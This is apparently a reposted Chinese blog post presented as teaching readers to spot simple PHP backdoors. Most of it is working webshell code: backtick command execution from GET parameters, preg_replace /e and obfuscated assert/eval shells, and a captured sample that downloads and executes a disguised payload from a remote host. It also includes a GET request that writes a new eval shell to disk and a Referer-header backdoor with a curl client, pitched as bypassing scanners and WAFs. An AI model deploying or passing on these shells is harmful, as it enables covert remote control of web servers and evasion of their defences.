天天看點

php後門工具_教你識别簡單的免清除PHP後門

一個最常見的一句話後門可能寫作這樣

或這樣

tudouya 同學在FREEBUF上給出[一種構造技巧]利用

構造生成,當然,嫌太直覺可以寫作這樣

然後再填充些普通代碼進行僞裝,一個簡單的”免殺”shell樣本就出現了

我們再來看看号稱史上最簡單免清除php後門

直接上代碼:

$c=urldecode($_GET['c']);if($c){`$c`;}//完整

!$_GET['c']||`{$_GET['c']}`;//精簡

其實作原理就是PHP會直接将 ` 符号(注意:不是單引号)包含的内容解析為系統指令執行!這樣就可以自由變态地擴充了!

再來看同樣很簡單的一段代碼

preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft");

?>

密碼page

近期捕獲一個基于PHP實作的webshell樣本,其巧妙的代碼動态生成方式,猥瑣的自身頁面僞裝手法,讓我們在分析這個樣本的過程中感受到相當多的樂趣。接下來就讓我們一同共賞這個奇葩的Webshell吧。

Webshell代碼如下:

error_reporting(0);

session_start();

header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))

$_SESSION['api']=substr(file_get_contents(

sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);

@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);

?>

關鍵看下面這句代碼,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

這裡執行之後其實是一張圖檔,解密出來的圖檔位址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然後調用file_get_contents函數讀取圖檔為字元串,然後substr取3649位元組之後的内容,再調用gzuncompress解壓,得到真正的代碼。最後調用preg_replace的修飾符e來執行惡意代碼的。這裡執行以下語句來還原出惡意樣本代碼,

echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));

?>

無特征隐藏PHP一句話:

session_start();

$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]);

$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' );

?>

将$_POST['code']的内容指派給$_SESSION['theCode'],然後執行$_SESSION['theCode'],亮點是沒有特征碼。用掃描工具來檢查代碼的話,是不會報警的,達到目的了。

超級隐蔽的PHP後門:

僅用GET函數就構成了木馬;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

執行後目前目錄生成c.php一句話木馬,當傳參a為eval時會報錯木馬生成失敗,為assert時同樣報錯,但會生成木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應用。

層級請求,編碼運作PHP後門:

此方法用兩個檔案實作,檔案1

//1.php

header( 'Content-type:text/html;charset=utf-8' );

parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a );

if (reset( $a ) == '10' && count ( $a ) == 9) {

eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6)))));

}

?>

檔案2

//2.php

header( 'Content-type:text/html;charset=utf-8' );

//要執行的代碼

$code = <<

phpinfo();

CODE;

//進行base64編碼

$code = base64_encode ( $code );

//構造referer字元串

$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ;

//後門url

$url = 'http://localhost/test1/1.php ' ;

$ch = curl_init();

$options = array (

CURLOPT_URL => $url ,

CURLOPT_HEADER => FALSE,

CURLOPT_RETURNTRANSFER => TRUE,

CURLOPT_REFERER => $referer

);

curl_setopt_array( $ch , $options );

echocurl_exec( $ch );

?>

通過HTTP請求中的HTTP_REFERER來運作經過base64編碼的代碼,來達到後門的效果,一般waf對referer這些檢測要松一點,或者沒有檢測。用這個思路bypass waf不錯。

我們以一個學習的心态來對待這些PHP後門程式,很多PHP後門代碼讓我們看到程式員們是多麼的用心良苦。